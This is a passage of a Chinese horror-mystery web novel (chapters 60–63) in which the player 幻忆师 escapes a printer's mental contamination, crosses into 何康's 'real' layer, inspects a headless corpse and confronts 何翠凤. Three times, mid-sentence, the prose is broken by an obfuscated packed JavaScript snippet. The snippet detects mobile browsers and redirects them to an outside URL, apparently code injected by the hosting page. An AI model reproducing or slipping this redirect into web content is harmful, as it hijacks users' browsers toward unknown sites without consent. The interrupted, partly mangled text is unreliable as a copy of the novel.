打印机迟缓地拿起一张A4纸,把纸张整个吞下去,纸张坚硬的棱角划破了打印机的口腔,但打印机没有痛觉。 女人满意地点头,期待地看着打印机,打印机的指甲深深陷入自己的脸皮边缘。 ...... 我是一台打印机,刚得到一名职工的复印指令。 我是一台打印机,同时也具备复印功能,让我来为你介绍复印的原理。 复印主要利用了光学成像和静电成像的原理。 首先,当你把要复印的原稿放在我的稿台上时,我的扫描系统开始工作,将原稿的图像反射或透射出来...... 好奇怪。 我是一台打印机,但我看到并理解了原稿的文字。没用什么光学和静电原理,我用眼睛看并用脑子理解,那上面写道: 【第一章.哒哒、哒 玩家幻忆师在温馨的家中醒来。 40多平米一室一厅的小家以米白色和浅木色为主,一尘不染得像样板间。 床的正前方是一面穿衣镜,幻忆师看见了镜中的自己,她是一个25岁左右的年轻女人,长相清秀但毫无特殊之处。】 我是一台打印机。 我是一台打印机? 我不是一台打印机,我是一个25岁长相清秀的年轻女人吗? 我不是一个年轻女人,我是康康吗? 我不是康康,我是幻忆师吗? 我不是幻忆师,我是陈——我! 60. 留下来陪我 玩家幻忆师扶着盆栽从会议室的一角站起来。 她的脸皮边缘有十个深深凹陷的指甲印,嘴里有鲜明的血腥味,喉咙里还有没完全吞咽下去的纸张。 幻忆师不是打印机,她是她自己,她是被打印机污染了认知的人类。 在她站起来的瞬间,女人似乎意识到什么,慌张地拔腿就跑,却被脚下一摞A4纸绊倒。 幻忆师一边扶起女人,一边弯腰捡纸,她确信自己刚刚看见的是她进入怪谈后的经历,被人用小说笔体记录下来印在A4纸上。 她刚捡起一张纸,还没来得及看上一眼,女人突然一口咬住她手里的纸,把纸张吞咽入腹。 认知污染转移了,幻忆师挣脱污染,污染开始侵袭女人。 紧接着,女人蹲在盆栽旁,双手插进自己口中,用力把嘴巴撕裂到一个恐怖的弧度,一口吞下面前所有纸。 女人的血盆大口中传来模糊的声音:“我是......打印机。” 幻忆师后退一步,她看见女人的肚皮被尖锐的A4纸顶起一个棱角。 女人的手扒住自己的脸皮,随着“撕拉”一声响,脸皮被整个撕下来。 幻忆师无声地干呕。 那张脸皮掉在她脚下,上面还印着文字: 【第一章.哒哒、哒 玩家幻忆师在温馨的家中醒来......】 可能是他们动静太大,一名工牌上写着主管的人闯进会议室,她惊喜地表扬幻忆师: “康康,你太出色了!上班的第一天就全力以赴,完成了一个组的业绩!” 主管激动地拍打幻忆师的肩膀,把幻忆师打得又干呕几下。 “我好多年、好多年,没见过这么漂亮的印刷品了!” 主管完全无视盆栽旁死去的女人,她捡起地上印满字的脸皮,把脸皮塞到幻忆师手里。 “我决定把明天的早会变成全体员工必须参加的表彰大会,我要表彰你!让那些天天就知道躺平的老油条们看看,我们还有康康这样的年轻职工!” 幻忆师不愿意碰那张脸皮,主管使劲把脸皮塞进幻忆师的西服口袋,然后亲切地说:“我看你一直不说话,是身体不舒服吗?我送你回家吧!” 被主管送回家比留在会议室中当打印机还可怕,幻忆师赶紧摆摆手,挤出一个虚弱的微笑,带着脸皮溜出公司。 她一秒也不想在印刷厂多呆。 出公司的过程中,她遇见一台饮水机和一架电风扇。 像见鬼一样,她小心翼翼地绕过它们,生怕这些机器和打印机一样可以污染人的认知。 幻忆师走在无人的街道上,鼓起勇气拿出脸皮,忍着恶心阅读上面的文字。 第一章记录了她从醒来到出门的经历,连她的心理活动都写得清清楚楚。 好像记录者不仅在她身上安装摄像头,还在她肚子里放了只蛔虫。 幻忆师把脸皮举得远远的,边走边看,街边一声巨大的撞击声吸引了她的注意力。 是车祸。 一个提着菜篮的中年妇女着急过马路,顶着红灯爆冲出去,被来不及踩刹车的小货车撞成两截。 幻忆师站在马路对面默默看了一会,她抬脚想走,却忽然停下动作。 透过小货车撞碎的玻璃,她看见一个熟人,是穿碎花棉服的老太太。 老太太依旧一副勤劳朴实的老实样,她混在人群里,不停往前挤。 终于挤到事故发生现场,老太太从新鲜的血泊和黄白的脑浆中拎走了受害者的半截尸体。 下一秒,老太太和幻忆师对视。 幻忆师尴尬而不失礼貌地笑了笑。 她转身向家的方向走去,却发现碎花棉服老太太和她同路。 这不奇怪,老太太和她是邻居,二人都要回家,自然走在一起。 老太太拖着半截人,还要和幻忆师打招呼:“康康,吃饭了吗?上奶奶家来,奶奶给你炖排骨!” 幻忆师坚定地摇头。 她不想知道那半截人到底是用来炖排骨还是用来盖窝棚,她现在只想回家。 好不容易走到家门口,幻忆师遥遥停住脚步。 黑暗的楼道中,自动贩卖机上戴贝雷帽的企鹅睁开了眼睛。 平心而论,企鹅长得不丑,甚至比躯干泰迪顺眼一点。 它的眼睛黑黑小小,像是两粒蚕豆。幻忆师试探地往左走了几步,蚕豆跟随她一起移动,可怜的企鹅瞬间患上斜视。 随便吧,喜欢看我就看吧。幻忆师自暴自弃般大步上前,贩卖机里发出闷响,一瓶饮料从企鹅嘴里滑出来。 饮料瓶上画着一张嘴。 幻忆师在企鹅的注视下硬着头皮把饮料灌下去,是普普通通的苹果味碳酸饮料,喝下去后她的语言功能回来了。 忙碌了整整一天,终于回到温馨的家里,幻忆师却发现被烧毁一半的书架有什么不对。 书被人动过了。幻忆师抚摸书脊,相当肯定地判断。 被动的几本书是:《留学往事》、《下一站蓝天》、《来学做饭吧》、《陪狗狗一起成长》、《我爱我的家》 把每本书的第一个字串连:“留下来陪我”。 陪谁?陪伴何康吗?幻忆师觉得莫名其妙。 更让她不安的是,她失去了对环境的隔离感和烦躁感。 她刚从怪谈中醒来时,她总觉得自己不属于这里,她毫无归属感。 等她上完一天的班,经历了许多莫名其妙的事,却不得不遵守规则装作习以为常的样子。她发现自己迫不及待地想回家,原本令人厌烦的家变成唯一的避风港。 就好像......她发自内心地想要永远留在这里。 幻忆师拿出女人的脸皮,重新阅读上面的内容,她产生一个恐怖猜想:如果脸皮上的文字不是根据她的经历写出的小说,而是一部在她到来前就有的故事呢? 那么她只是一个作者笔下的人物,她不仅被作者掌控生死,还被作者掌握着思想。 她连脑子里的想法都无法控制,被作者的笔尖肆意描绘着。 临睡前,幻忆师把脸皮放在枕边,她紧紧盯着脸皮上的文字,准备找个办法验证自己的猜想。 第二天,幻忆师在温馨的家中醒来。 躯干泰迪在家中散步,幻忆师拉开房门,发现门口的自动贩卖机不见了。 顺着楼梯走到一楼,幻忆师看到整整一层楼的自动贩卖机,戴着贝雷帽的企鹅们闭眼张嘴,沿着楼道排成一列。 她出门左转,再次见到穿碎花棉服的老太太。 老太太在勤劳地用整具尸体搭窝棚,青黑色的尸体比石头还僵直,老太太不得不像玩拼图一样,先在地上把尸体们拼好,再竖着将它们立在坑坑洼洼的墙边。 幻忆师站在远处看了一会,老太太和她打招呼: “康康,去上班打卡呀?” 等幻忆师来到公司,她果然在门口看见一台打卡机。 至此,幻忆师完全确定,这里是何康笔下的小说世界,她是一个小说人物。 今天她见到的所有改动都和昨天她作为打印机时写出的文字有关。 她说家门口不应该有贩卖机,何康立刻把贩卖机挪到一楼,并用无数贩卖机填满楼道。 她说老太太用碎尸搭窝棚恶心,何康立刻让老太太把建材换成整具尸体。 她说公司没有考勤制 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13643967|137769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 度,何康立刻给她变出来一个考勤机。 从某种角度来说,何康真心实意地想让幻忆师留在这个世界,幻忆师想要的一切他都在拼尽全力去满足,只是最后呈现的结果不如人意。 幻忆师摸了摸袖口的躯干泰迪,被主管拉去参加表彰大会。 主管站在台上讲得唾沫横飞: “今天我把大家聚在一起,是为了祝贺康康为我们上一层印刷厂创造了非凡的业绩,希望大家以她为榜样!” “在此,我要向某些人员提问,你们这个月完成了什么指标?” 主管高高仰着头,用充满恶意的目光扫过底下垂手站立的一排人,没人敢和她对视。 “哼。”主管从鼻子里发出一声冷哼。 “别以为仗着那点资历能在印刷厂混下去,我昨天去生产间向厂长打报告了,你们这些没有业绩的人都要被淘汰!” “淘汰”两个字仿佛触发了什么关键的开关,木然垂手的众人表情大变,几个中年人甚至瑟瑟发抖。 幻忆师站在主管旁看得很清楚,有一个人直接吓尿了裤子。 她相当不解,淘汰不过是失去一份工作,这些人在害怕什么? “咳咳。”主管清了清嗓子,“我念到名字的人都是上个月业绩垫底的!” 台下的员工哀鸿遍野。 “主管,再给我一次机会吧!” “我上有老下有小......” 幻忆师更加不解了,这群人的反应像是被主管判了死刑,难道“淘汰”不是开除? 主管不听台下员工的哭喊,她冷酷地念完名单,漠然道:“集合,和我一起去生产间!” 员工们痛哭着跪倒在地,有几个已经全身瘫软走不动路,被旁边的保安架起来,扔进去生产间的队伍。 幻忆师对生产间充满好奇,也对所谓的“淘汰”很好奇,她悄悄跟在人群后面。 在主管的带领下,所有人被塞进一部拥挤的电梯。 电梯内一片死寂,无数双眼睛注视着小小的显示屏,屏幕上显示“1”。 哐当。 电梯沉重地晃动一下,屏幕上的数字跳到“2”。 哐当哐当哐当—— 伴随着节节升高的晃动,屏幕上的数字越跳越快,仿佛被一只无形的手疯狂推动。 等数字跳动到“6”,幻忆师意识到不妙。 她跟着女人进印刷厂前数过楼层,办公楼一共5层,根本没有6楼。 数字6的后面还有7,显示屏上的光芒开始闪烁。 8,9,10,11,12,13,14,15,16......159 那一串数字如同疯狂的萤火虫,在狭小的空间里乱窜。电梯也被疯狂的力量驱动,速度越来越快,快得让人胆战心惊。 幻忆师眼睁睁地看着它不断攀升,却无能为力,她听见自己的心跳声与电梯的咣当巨响合为一体。 160,161,162,163,164,165,166......397 当楼层接近400时,幻忆师失去听觉,电梯的速度快到让人产生了失重感。 耳边只剩下电流般的耳鸣,她的心脏仿佛被揪出身体,世界好像整个颠倒过来,没有人知道这部钢铁牢笼要把他们带到哪里。 397,398,399,400,401,402,403......500 幻忆师不知道自己如何度过最后一百层,她的灵魂还留在公司的打卡处,身体却被电梯送上500层。 耳边的嗡鸣持续作响,幻忆师踉踉跄跄地爬起来,电梯门在她面前缓缓打开。 一丝光亮透进门缝,幻忆师呆住了。 61. 何善 那是......什么? 幻忆师脑子一片空白。 她跌坐在一片狼藉的电梯中,门外是被八条射线包裹的太阳。 巨大的简笔画太阳顶天立地悬在广袤的天幕中,占据幻忆师的全部视野。 八条射线如同太阳的手臂,它们张牙舞爪地刺向蓝色的天空。 一只存在感极强的、皮肤凝实的手握着红色蜡笔给太阳上色。 主管爬起来毫不客气地把幻忆师推到身后,她激动地走出电梯。 她面向巨手,迫不及待地喊:“厂长,我把业绩垫底的职工都带来了!” 巨手放下蜡笔,食指和拇指伸进电梯,把职工一个个捏出来。 幻忆师大感不妙,她跑出电梯向巨手大喊:“康康,你要做什么?” 巨手丝毫不理睬幻忆师,书中角色的呐喊无法传达到上一层叙事中。 哭泣的职工们被巨手按照长短宽窄排列,巨手拿出一块雪白的橡皮,从第一个职工开始,一路擦过去。 尖叫和哀嚎同时响起,职工们变成了细长条的橡皮渣,主管在旁边兴奋且贪婪地看着这一切。 她像是陶醉在橡皮渣的哀嚎声中,情不自禁地拍手: “啪啪、啪,啪啪、啪” 巨手将职工涂抹完毕,还觉得不够。两根手指拎起几撮碎长条,橡皮渣被手指搓成一个白色圆柱体。 幻忆师终于知道商场中的白色动物从何而来了。 她眼睁睁看着巨手搓了8个圆柱,把圆柱们组成一只无尾小熊,小熊的身体部件开始扭动。 然后巨手对小熊失去兴趣,巨手拿起蜡笔继续给太阳上色。 电梯前兴奋的主管把手都拍红了,她一个箭步冲到小熊旁边,捡起地上的橡皮渣猛猛塞进嘴里。 伴随着主管的大嚼大咽,主管不再是主管,她变得更加具体、更加凝实,创造这层叙事的作者似乎在她身上加注更多的笔墨。 工牌上的文字如蝌蚪般解体,游动着组成全新的文字,她马上要拥有一个角色姓名,她要成为一个有名有姓的主角了! 幻忆师越过地上拼命吞食橡皮渣的主管,一把抱住蜡笔的笔尖。 蜡笔停顿了一下,巨手突然举起蜡笔,带着笔尖上的幻忆师一起消失在顶天立地的太阳中。 ...... 玩家幻忆师在一条干净的马路上醒来。 马路上没有行人也没有车辆,连白色的交通标记线都像刚画上去的,无比醒目。 幻忆师醒来的地方立着一块路牌,路牌上用蓝底白字写着“七中路”三个大字。 在七中路的左边,有一块标注着“里王里”的牌子;在七中路的右边,也有一块标注着“里王里”的牌子。 如果一定要说区别,左边的牌子有些掉漆,看上去稍微显旧;右边的牌子是全新的,颜色鲜艳。 幻忆师向左走去。 因为在她的记忆里,何康住的里王里就是陈旧且破败的。 能回忆起关于何康的事,说明她的记忆出现问题,或者是万花筒出现问题。 以往的几次万花筒中,她都会忘记有关万花筒主人的一切事实。但在挣脱打印机的污染后,有关何康的记忆完全回到她的脑海中,关于幻忆师本人的记忆也隐约被撬动。 幻忆师不知道这代表了什么,她感觉不是好兆头。 她借助路边的水泊看见自己的脸,她是何康,但没有激素面容也没被剃平头,看起来像个普通高中生。 看来何康的内心深处希望拥有正常生活。幻忆师欣慰地想。 顺着一条小路走进小区,破破烂烂的里王里出现在幻忆师面前,和她记忆中没有任何差别。 分不出性别的老人在嘟嘟囔囔地翻垃圾堆,穿碎花棉服的老太太在鬼鬼祟祟地拔红砖。 她原本非常嫌弃这里的环境,现在看却感觉相当亲切。 路过碎花棉服时,她甚至尝试打招呼:“早上好!” 老太太警惕地捂住手里装满红砖头的蛇皮口袋,生怕她来抢。 幻忆师欣赏一会坑坑洼洼的墙面,没发现任何尸体和油脂,她满意地走进楼洞。 一楼采光极差的楼道里躺着一个看门大爷,他穿得像是乞丐,脸上堆满褶子,左手摇着蒲扇,右手端着一本故事会。 幻忆师在他面前停下脚步。 现实的里王里中可没有这个人。 看门大爷睁开昏黄的眼珠,眯眼看清面前的人,他像是刚睡醒:“是何善啊,你哥哥呢?” “我哥哥?”幻忆师莫名其妙地问。 “你哥,何康。”大爷把故事会扣在腿上,“他回家了吗?” 何康哪来的弟弟?幻忆师摸不着头脑。 她确信自己突破了叙事,跟随蜡笔一起来到何康所在的真实层。 为什么在真实层何康会有个叫何善的弟弟? 看门大爷絮絮叨叨地说话,幻忆师随意地敷衍他,表示自己不知道哥哥在哪。 她迅速爬上5楼,站在楼道内就能闻见一股劣质豆油味儿,她揉了揉鼻子抬手敲门。 门内没有动静,她不得不大力拍门:“是我,给我开门!” 张晓娜握着锅铲打开房门,她向幻忆师身后看:“你哥呢?” “不知道。” “让你去印刷厂接你哥,你怎么自己回来了?” 张晓娜边炒菜边骂人:“养你们有什么用?你哥在工厂干不了活,你连个人都不会接,你们......” 幻忆师耐心地听完了,她问:“为什么要把我哥接回来?” “印刷厂老板把他退货了。”张晓娜往锅里狠狠地撒盐,“说你哥什么都干不了,和你爸保证的完全不一样。” 确实有一些轻度自闭症患者能做简单工作,他们擅长重复性高、规则明确的工作任务。 但何康患有重度自闭症,他基本上没有工作的能力,幻忆师想不通他能在工厂做什么。 于是她问:“我爸怎么和人家说的?” “说他上过特殊学校,除了不愿意说话其实跟正常人没区别,还能把残疾证挂靠在印刷厂名下,让老板有机会退税。” 这是谎言,何家要是有钱给何康上特殊学校,早早干预他的自闭症,何康的病不至于严重到一句话也说不出口。 张晓娜用力挥舞锅铲,像是要把怨恨发泄到醋溜白菜中:“人家也没让他进生产间,就让他在会议室守着打印机给机器添纸,他连这点小事都做不好!” “砰!” 张晓娜用锅铲大力敲打铁锅边缘。 “我看他是装的!他画那些破画的时候怎么什么事都没有?” “呜呜呜——”张晓娜低声哭起来,“当年要是、当年要是......” 当年要是什么?幻忆师不敢打断张晓娜,她全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13656355|137769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神贯注地听着,希望能得到一点有用的线索。 可是张晓娜吸了吸鼻涕,不肯继续说下去。 幻忆师刚想追问,何大勇打开房门回家了。 他一脸愁容:“我这张老脸算是丢完了!” “唉。”何大勇把自己摔在沙发上点燃一根烟,“康康可怎么办啊!” “干什么都不行!上次商场里穿玩偶服的工作也是,被人家老板退货了!” “我哥呢?”幻忆师问。 “你姐去接他了。” 姐姐不会是何翠凤吧?幻忆师无法理解何康的想法。 在真实层中,他先给自己编造一个不存在的弟弟,又把利用他的何翠凤当成亲姐姐。 这在幻忆师看来比什么躯干泰迪、污染物打印机还要疯狂。 那些东西只是纯粹的鬼怪,弟弟和姐姐可是生活在同一屋檐下的亲人。 何大勇一根烟没抽完,外面突然传来砸门声。 “咣咣、咣” 巨大的声响里混杂恶意,门外的陌生男人咆哮道:“姓何的!你用来抵债的破机器用一天就坏了!” 何大勇缩着脖子蜷在沙发上,他挤眉弄眼地暗示幻忆师,想让幻忆师去开门。 幻忆师很想假装没看见,但她不开门就无法得知线索,她不得不把门打开。 “我爸不在家。”幻忆师替何大勇撒谎。 门外站着两个人,一个是满脸横肉的拍门男人,一个是戴着眼镜的中年女人。 男人狐疑:“不在家?” 他们身后有一台自动贩卖机——没错,就是戴贝雷帽的企鹅贩卖机。 女人笑眯眯地说:“小朋友,不请我们进去坐坐吗?我们把你家的机器背上5楼,很辛苦很累。” 幻忆师为难极了:“可是我哥犯病了,正往墙上糊大便,你们想进来就进来吧。” 她在心里默默向何康道歉,但此时没有更好的办法。 女人明显迟疑了一下,男人先反应过来:“他哥是自闭症,又不是老年痴呆,糊什么大便?” 男人蛮横地把幻忆师拨开挤进房门,他一眼看见何大勇:“呦呵!躲小孩后面啊?” 在男人对何大勇的辱骂中,幻忆师理清前因后果。 何大勇找他们借了一笔钱,一直还不上。通过和他们卖惨,说家里有大龄自闭症患者,央求他们同意拿贩卖机抵债。 他们本来已经同意了,但贩卖机刚工作一天就完全报废,气急败坏的二人来找何大勇要债。 “你当初怎么和我们保证的?”男人咆哮,“前年说明年还,去年说明年还,今年还是没钱!” 何大勇满脸堆笑:“钱拿来给孩子治病了,明年一定还。” “治病?”女人从眼镜上方俯视何大勇,“你那孩子用治吗?他都会帮你骗人了!” 男人随着女人的话语把视线移到幻忆师身上,他突然发怒:“一家子骗子!” “呸!”男人一口浓痰糊在何大勇脸上,“你是大骗子!” 幻忆师拔腿就跑。 果不其然,下一个被骂的是她。 “你儿子是小骗子!上梁不正下梁歪!” 幻忆师跑得太快,不小心撞在贩卖机上。她抬起头,与机身上的卡通企鹅对视,紧闭双眼的企鹅像是在怜悯她。 你也不愿睁眼看看这糟糕的一切呀。幻忆师轻轻摸了摸企鹅黄色的喙。 62. 159 从家里跑出来,幻忆师无处可去。 她漫无目的地在小区中散步,突然像想起什么一样,她把袖口从外套中拉出来。 躯干泰迪印在袖口上。 幻忆师戳了戳躯干泰迪,小熊一动不动。 她猜测,躯干泰迪在真实层不能变成实体,只能乖乖在衣服上当刺绣。 不知不觉间,幻忆师走到七中路上,她一眼看见右边颜色鲜艳的里王里路牌。 其实她不是无家可归,马路对面还有一个家,幻忆师果断穿越马路。 如果不是小区门口立着牌子,她会以为自己走错了地方。 这个里王里不像小区,像是园林。 小区的大门宛如贵族城堡中的花园通道,直通蜿蜒的景观步道,小路两侧是层层叠叠的花草树木,精心修剪的草坪像一条毛毯,让人忍不住想在上面歇息。 幻忆师无视美丽景色快速向前走,她对居住在这里的人产生极大兴趣。 小路的尽头是一位捡垃圾的老人。 穿着体面的老人拄着拐杖,弯腰在绿色的崭新垃圾桶里捡垃圾,老人旁边是坐在一车红砖中的碎花棉服老太太。 原来这就是何康眼里的幸福啊。 幻忆师无声地叹息。 人想象不出自己认知以外的东西,幻忆师没经历过何康的痛苦,她想象不出能污染认知的打印机,想象不出橡皮渣组成的商场玩偶,也想象不出堵住家门的贩卖机。 何康没经历过正常人的幸福,他无法想象不捡垃圾的老人,也无法想象不拔红砖的碎花棉服。 即使变成打印机的幻忆师努力向何康描述一个正常的世界,他也无法理解。 他竭尽全力给出的反馈是满楼道的贩卖机和用整具尸体搭窝棚的老太太。 他认知中的正常是别人眼里的荒诞恐怖。 幻忆师绕过满脸幸福地坐在红砖车中的老太太,无声地走进楼门。 走出自动旋转门,幻忆师被扑面而来的奢华震了一下。 大楼一层不住人,是华丽至极的大堂,精美程度堪比五星级酒店。 挑高的天花板上悬挂着水晶吊灯,墙上是一幅又一幅油画;室内竟然有一小块花园造景,干冰形成的雾气弥漫在人造花园中。 幻忆师踩着柔软的地毯向里走去,她在一楼从左走到右,又从右走到左,既没找到电梯也没找到楼梯。 她产生一个疑问:这么高档的住宅中为什么没有保安和专职管家? 面前布满迷雾的花园似乎在诱惑幻忆师,她深吸一口气进入花园中。 花园正中间躺着一具无头男尸。 尸体位于一片刚布置好的花圃中,被娇艳欲滴的玫瑰和神秘优雅的薰衣草簇拥着,像是被陈列在博物馆中颓靡华丽的死。 幻忆师没有贸然触碰尸体,即使知道自己已经脱离了何康笔下的叙事层,她依然感觉世界很不真实。 她总觉得自己一旦上前验尸,尸体就会给她表演一个360度全方位无死角大复活术,然后没头脑地开始追她。 幻忆师谨慎地站在花园最外围,不远不近地观察尸体。 仅凭外观来看,无头男尸很可能是何康。 尸体穿着何康被剑侠掳走前的衣物,因常年服用激素药物而发胖浮肿,尸体的双手蜷缩在胸前,是何康常做的动作。 幻忆师小心翼翼地绕过尸体,她穿越迷雾,走到花园尽头。 在花园的尽头,竟然有一间破旧但充满烟火气息的公寓管理员办公室。 透过半开的窗户,能看见办公室里满是划痕的柜子和用来做饭的电磁炉。 窄小的床榻上铺着洗到发白的牡丹花床单,办公室的一切都和奢华的大堂格格不入,简直像是两个图层。 幻忆师看得太久,被办公室里的公寓管理员发现了,窗边的窗帘被一只手抓住,刷地一声拉上。 幻忆师礼貌询问:“你好,请问电梯和楼梯在哪里?” 窗帘被拉上后,仅剩一个两手宽的办公窗口能窥见内部,窗口外装着生锈变形的防盗窗。 公寓管理员在窗口前坐下,从外面只能看到她的下半张脸,是一位中年女性,她端坐在窗口前,在登记簿上写写画画。 防盗窗纵横交错的铁条映在她脸上,幻忆师莫名觉得她眼熟。 “我想上楼,请问该怎么走?”幻忆师换种方式又问一遍。 公寓管理员在登记簿上写下最后一个字,终于舍得回答问题:“你是住户吗?” “是的,我叫何善,住在5楼。” “是住户还能不知道怎么回家?” 幻忆师撒谎:“我忘了电梯在哪。” 公寓管理员不理睬她。 “花园里有具尸体。” 公寓管理员还是不理睬她。 “可以借给我一副手套吗?我想验尸。” 公寓管理员伸手在柜子中翻找,把一双塑胶手套顺着窗口递出去,然后飞快关上防盗窗。 幻忆师借着接塑胶手套的机会伸长脖子往里看,可惜桌面的登记簿被合上,她看不见上面写了什么。 戴上手套,幻忆师蹲下验尸。 尸体多处损伤,内脏破裂严重,四肢长骨骨折、脊椎也是断的。 尸体表面无人为殴打造成的伤痕,说明骨折不是被打出来的,只能是摔成这样。 但住宅顶部完全封闭,尸体不可能穿越一层层楼面摔到大堂的花园里。 难道是死在外面,被人挪过来的? 幻忆师检查尸体身下的血迹,血迹均匀分散在受伤的肢体附近,呈现喷射状。 地面的血液痕迹甚至能和玫瑰花瓣上飞溅的痕迹连接在一起,说明这里是第一案发现场,没人挪动过尸体。 更诡异的是尸体消失不见的头颅。 根据骨折严重程度和内脏破裂程度类推,尸体的头颅必然有极大破损。 可本应是头部的位置既没有血迹也没有脑浆和组织液,只有脖子上整齐的断口,露出森白的骨头。 由此,幻忆师得出一个不可思议的初步验尸结果:疑似何康的男人先被切断头颅,然后被凶手将尸体从高空扔下来,无视楼房的5层楼面砸在大厅花圃的正中间。 他的头颅去哪了? 幻忆师抬头望向整洁光滑的天花板,那种憋屈的烦躁感又回到她身上,她甚至忘记脱下沾满鲜血和黏液的手套,想伸手扯开自己的衣领。 一道熟悉的声音阻止了她:“善善,你在这做什么?怎么不上楼呀?” 幻忆师伸向衣领的手停下来,她转身打量何翠凤。 说实话,如果不是对阿律的声音记忆深刻,幻忆师根本认不出眼前的女人,即使她反复看过何翠凤的照片。 剧本杀店的监控录像里用心打扮的何逢翠也比不上面前的何翠凤。 何翠凤穿着一件高级的灰色羊绒大衣,内搭简洁得体的白色纯棉衬衫,衬衫挺括的版型优雅至极。 幻忆师不太懂时尚,但见识过真货,她能认出何翠凤领口和袖口上的绿水晶扣是真的。 何翠凤笑眯眯地站在她面前,皮肤白皙,黑色长发富有光泽,脸上是放松灵动的神态,这是光靠打扮得不到的美丽。 幻忆师摘下手套:“我在验尸。” “验尸?验什么尸?回家吃饭了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13666540|137769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”何翠凤提着包包,踩着高跟鞋踏上无头男尸。 何翠凤在幻忆师眼前消失了。 幻忆师赶紧把手套重新戴上。 她反复检查无头男尸,没找到尸体身上被踩踏的痕迹。幻忆师做足心理准备,学着何翠凤一脚踩上去。 眼前一黑,幻忆师来到一排4个电梯前。 电梯门上分别写着“134”、“159”、“1716”和“1925”。 一名戴着头盔的外卖员突然出现在电梯间,他对着电话焦急地说:“小区不让电动车进,我走进来的,快要超时了,我先点送达了!” 外卖员等了片刻,电话那边没有回应,他问:“喂,你还在吗?我坐哪个电梯能上三楼?” “说话呀!”外卖员越发急躁,“楼里也没个楼梯,只有电梯,我到底怎么上去?” 电话那边的顾客既不回答也不挂断,让外卖员在电梯前干着急。 何翠凤关切地问:“是去三楼吗?” “对!”外卖员的眼睛亮起来。 “坐1716那部。”何翠凤柔声说。 外卖员边按电梯边连声道谢:“太感谢了!” “等等。”幻忆师阻止他,“坐159。” 外卖员傻傻地看着面前的姐弟。 “我弟弟和你开玩笑呢。”何翠凤按下旁边的1925,“这个年纪的孩子就是喜欢开玩笑。” 外卖员抬脚要往1716里进。 “你等等!”幻忆师伸手把外卖员拦住,“是数列,前两个数字相加除以......” “什么数列不数列的!”外卖员打掉幻忆师挡在电梯前的手,“小少爷不知人间疾苦,我超时要扣钱的!” 幻忆师眼睁睁看着1716电梯在自己面前合上大门。 何翠凤带着笑意用法式美甲卷长发玩。 “为什么?” 幻忆师平静地问。 何翠凤踏进1925电梯:“你说了,是数列,简单数列,他连这个都不明白,为什么还要活着?” 确实是简单数列,小学生的数学题。 134,159,1716,1925 前两个数字相加除以2得到楼层数,楼层数的平方是最后一个数。 幻忆师相信,外卖员绝对能识别出如此简单的数列,但超时的订单遮蔽他的双眼,催促他快一点、再快一点—— “啊啊啊啊啊!” 电梯井里传来外卖员模糊的惨叫声。 “你看,就是这样。”何翠凤笑着邀请幻忆师,“愚蠢的人没必要活在世上。” 幻忆师感到胃里翻江倒海的恶心,她宁愿回到何康笔下的世界去面对躯干泰迪和精神污染打印机,也不想跟何翠凤共乘一部电梯。 憋屈的烦躁感近乎达到峰值,幻忆师毫不客气地问:“何翠凤和何逢翠谁配活在世上?” 何翠凤面色大变,她闪电般按下电梯的关门键,想把幻忆师扔在一楼电梯间。幻忆师一脚别进电梯的夹缝中,两只手用力撑开电梯门。 幻忆师面带恶意的笑容,故意把语气拖长:“翠色盈眸处,清风摇曳时。云深藏古木,烟淡罩幽池。逢翠似逢春,心随境意驰。尘虑一时涤,神游万籁熙。世事纷繁里,此境得几回?且将浮华抛,长栖翠色间。” 这是阿律屏保上的内容,被幻忆师一字不落地朗读出来。 吟诵古诗的声音和电梯门的咯吱作响声结合在一起,何翠凤反而不慌了,她松开按关门键的手,再次邀请幻忆师:“和姐姐一起回家吗?” 笑意盈盈的何翠凤在头顶白炽灯的照耀下宛如人世间的恶鬼。 63. 幸福一家 比恶鬼更厉害的精神污染幻忆师都扛过来了,她真不怕何翠凤。 幻忆师一脚迈进电梯里,冷声问:“诗是虚竹写给你的吗?为什么是12句?” “是虚竹写给何逢翠的。” “何逢翠是你假名,就是虚竹给你写的。”幻忆师盯着何翠凤的眼睛。 “你不觉得写的很好吗?” 何翠凤借着电梯内饰的反光欣赏自己的美貌。 一般人被堵在电梯里当面念出爱人写的情诗,多多少少都有点难为情。 但幻忆师在何翠凤脸上看不到半点尴尬或恼怒,何翠凤甚至隐隐有些骄傲。 电梯快要到5楼,幻忆师抓紧时间问:“伪人测试是你做的?何康的超能力是什么?” 何翠凤答非所问:“虔诚相信何康的不是何逢翠,而是何翠凤。” 她在说什么乱七八糟的?幻忆师根本没听明白。 伴随电梯“叮”的一声响,5楼到了。 电梯门打开直接是何康的家,他家占据了整整一层。 